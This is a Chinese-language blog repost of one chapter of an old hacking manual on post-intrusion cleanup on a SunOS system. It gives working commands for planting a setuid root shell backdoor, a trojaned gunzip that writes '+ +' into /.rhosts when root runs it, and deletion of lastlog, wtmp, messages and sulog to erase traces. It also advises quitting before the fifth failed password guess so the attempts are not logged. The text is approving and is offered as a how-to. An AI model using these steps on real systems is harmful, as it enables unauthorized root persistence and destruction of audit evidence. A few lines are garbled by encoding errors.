網絡入侵實用戰術手冊alpha (5)轉自INTERNET

五、最後的瘋狂(善後)
1) 後門
e.g.有一次,俺通過改寫/.rhosts成了root,但.rhosts很容易被發現的哦,怎麼
辦?留個後門的說:
# rm -f /.rhosts
# cd /usr/bin
# ls mscl
mscl: 無此文件或目錄
# cp /bin/ksh mscl
# chmod a+s mscl
# ls -l mscl
-r-sr-sr-x 1 root ofc 192764 5月 19 11:42 mscl
以後以任何用戶登錄,只要執行``/usr/bin/mscl''就成root了。
/usr/bin下面那一大堆程序,能發現這個mscl的幾率簡直小到可以忽略不計了。

2) 特洛伊木馬
e.g. 有一次我發現:
$ echo $PATH
/usr/sbin:/usr/bin:/usr/ccs/bin:/opt/gnu/bin:.
$ ls -ld /opt/gnu
drwxrwxrwx 7 root other 512 5月 14 11:54 /opt/gnu
$ cd /opt/gnu
$ ls -l
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 root other 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
$ cp -R bin .TT_RT; cd .TT_RT
``.TT_RT''這種東東看起來像是系統的...
決定替換常用的程序gunzip
$ mv gunzip gunzip:
$ cat > toxan
#!/bin/sh
echo "+ +" >/.rhosts
^D
$ cat > gunzip
if [ -f /.rhosts ] then
mv /opt/gnu/bin /opt/gnu/.TT_RT
mv /opt/gnu/.TT_DB /opt/gnu/bin
/opt/gnu/bin/gunzip $*
else
/opt/gnu/bin/gunzip: $*
fi
^D
$ chmod 755 toxan gunzip
$ cd ..
$ mv bin .TT_DB
$ mv .TT_RT bin
$ ls -l
total 16
drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
$ ls -al
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 root other 1536 1998 11月 2 .TT_DB
drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib

雖然有點暴露的可能(bin的屬主竟然是zw!!!),但也顧不得了。
盼著root盡快執行gunzip吧...
過了兩天:
$ cd /opt/gnu
$ ls -al
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 zw other 1536 1998 11月 2 .TT_RT
drwxr-xr-x 2 root staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
(samsa:bingo!!!有人運行俺的特洛伊木馬樂...)
$ ls -a /
(null) .exrc dev proc
. .fm devices reconfigure
.. .hotjava etc sbin
.Xauthority .netscape export tftpboot
.Xdefaults .profile home tmp
.ab_library .wastebasket lib var
......
$ cat /.rhosts
+ +
$
(samsa:下面就不用 囉嗦了吧?)
註:該結果為samsa杜撰,那個特洛伊木馬至今還在老地方靜悄悄地呆著呢,即無人發
現也沒人光顧!!——已經20多年過去了耶....

3) 毀屍滅跡
消除掉登錄記錄:
3.1) /var/adm/lastlog
# cd /var/adm
# ls -l
總數73258
-rw------- 1 uucp bin 0 1998 10月 9 aculog
-r--r--r-- 1 root root 28168 5月 19 16:39 lastlog
drwxrwxr-x 2 adm adm 512 1998 10月 9 log
-rw-r--r-- 1 root root 30171962 5月 19 16:40 messages
drwxrwxr-x 2 adm adm 512 1998 10月 9 passwd
-rw-rw-rw- 1 bin bin 0 1998 10月 9 spellhist
-rw------- 1 root root 6871 5月 19 16:39 sulog
-rw-r--r-- 1 root bin 1188 5月 19 16:39 utmp
-rw-r--r-- 1 root bin 12276 5月 19 16:39 utmpx
-rw-rw-rw- 1 root root 122 1998 10月 9 vold.log
-rw-rw-r-- 1 adm adm 3343551 5月 19 16:39 wtmp
-rw-rw-r-- 1 adm adm 7229076 5月 19 16:39 wtmpx
為了下次登錄時不顯示``Last Login''信息(向真正的用戶顯示):
# rm -f lastlog
# telnet victim.com
SunOS 5.7
login: zw
Password:
Sun Microsystems Inc. SunOS 5.7 Generic October 1998
$
(比較:
SunOS 5.7
login: zw
Password:
Last login: Wed May 19 16:38:31 from zw
Sun Microsystems Inc. SunOS 5.7 Generic October 1998
$
說明:/var/adm/lastlog 每次有用戶成功登錄進來時記一條,所以刪掉以後再
登錄一次就沒有``Last Login''信息,但再登一次又會出現,因為系統會自動
重新創建該文件)

3.2) /var/adm/utmp,/var/adm/utmpx /var/adm/wtmp,/var/adm/wtmpx
utmp、utmpx 這兩個數據庫文件存放當前登錄在本機上的用戶信息,用於who、
write、login等程序中;
$ who
wsj console 5月 19 16:49 (:0)
zw pts/5 5月 19 16:53 (zw)
yxun pts/3 5月 19 17:01 (192.168.0.115)
wtmp、wtmpx分別是它們的歷史記錄,用於``last''
命令,該命令讀取wtmp(x)的內容並以可理解的方式進行顯示:
$ last | grep zw
zw ftp 192.168.0.139 Fri Apr 30 09:47 - 10:12 (00:24)
zw pts/1 192.168.0.139 Fri Apr 30 08:05 - 11:40 (03:35)
zw pts/18 192.168.0.139 Thu Apr 29 15:36 - 16:50 (01:13)
zw pts/7 Thu Apr 29 09:53 - 15:35 (05:42)
zw pts/7 192.168.0.139 Thu Apr 29 08:48 - 09:53 (01:05)
zw ftp 192.168.0.139 Thu Apr 29 08:40 - 08:45 (00:04)
zw pts/10 192.168.0.139 Thu Apr 29 08:37 - 13:27 (04:49)
......
utmp、wtmp已經過時,現在實際使用的是utmpx和wtmpx,但同樣的信息依然以舊的
格式記錄在utmp和wtmp中,所以要刪就全刪。
# rm -f wtmp wtmpx
# last
/var/adm/wtmpx: 無此文件或目錄

3.3) syslog
syslogd 隨時從系統各處接受log請求,然後根據/etc/syslog.conf中的預先設定把
log信息寫入相應文件中、郵寄給特定用戶或者直接以消息的方式發往控制台。
不妨先看看syslog.conf的內容:
---------------------- begin: syslog.conf -------------------------------
#ident "@(#)syslog.conf 1.4 96/10/11 SMI" /* SunOS 5.0 */
#
# Copyright (c) 1991-1993, by Sun Microsystems, Inc.
#
# syslog configuration file.
#
*.err;kern.notice;auth.notice /dev/console
*.err;kern.debug;daemon.notice;mail.crit /var/adm/messages
*.alert;kern.err;daemon.err operator
*.alert root
......
---------------------- end : syslog.conf -------------------------------
``auth.notice''這樣的東東由兩部分組成,稱為``facility.level'',前者表示log
信息涉及的方面,level表示信息的緊急程度。
facility 有:user,kern,mail,daemon,auth,lpr,news,uucp,cron,etc...
level 有:emerg,alert,crit,err,warning,info,debug,etc...(緊急程度遞減)
一般和安全關係密切的facility是mail,daemon,auth etc...
而這類信息按慣例通常存放在/var/adm/messages裡。

那麼 messages 裡那些信息容易暴露「黑客」痕跡呢?
1,"May 4 08:48:35 numen login: REPEATED LOGIN FAILURES ON /dev/pts/9 FROM
sams
"
重複登錄失敗!如果你猜測口令的話,你肯定會經歷很多次這樣的失敗!
不過一般的UNIX系統只有一次telnet session連續登錄5次失敗才會記這麼一條,所以
當你4次嘗試還沒成功,最好趕緊退出,重新telnet...

2,"May 5 10:30:35 numen su: 'su root' failed for cxl on /dev/pts/15"
"May 18 17:02:16 numen su: 'su root' succeeded for zw on /dev/pts/1"
如果黑客想利用``su''成為超級用戶,無論成功失敗,messages裡都可能有記錄...

3,"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: "wiz" command from numen"

"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: "debug" command from nume
n"
Sendmail早期版本的``wiz''、``debug''命令是漏洞所在,所以黑客可能會嘗試這兩個 命令...
因此,/var/adm/messages也是暴露黑客行蹤的隱患,最好把它刪掉(如果能的話,哈哈
)!
?
# rm -f /var/adm/messages
(samsa:爽!!!)

或者,如果你不想引起注意的話,也可以只把對應的行刪掉(當然要有寫權限)。

3.4) sulog
/var/adm下還有一個sulog,是專門為su程序服務的:
# cat sulog
SU 05/06 09:05 + console root-zw
SU 05/06 13:55 - pts/9 yxun-root
SU 05/06 14:03 + pts/9 yxun-root
......
其中``+''表示su成功,``-''表示失堋H綣閿霉齭u,那就把這個文件也刪掉把,
或者把關於你的行刪掉!
--
DEADorALIVE

By tony

自由軟體愛好者~喜歡不斷的思考各種問題,有新的事物都會想去學習嘗試 做實驗並熱衷研究 沒有所謂頂天的技術 只有謙虛及不斷的學習 精進專業,本站主要以分享系統及網路相關知識、資源而建立。 Github http://stnet253.github.io

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料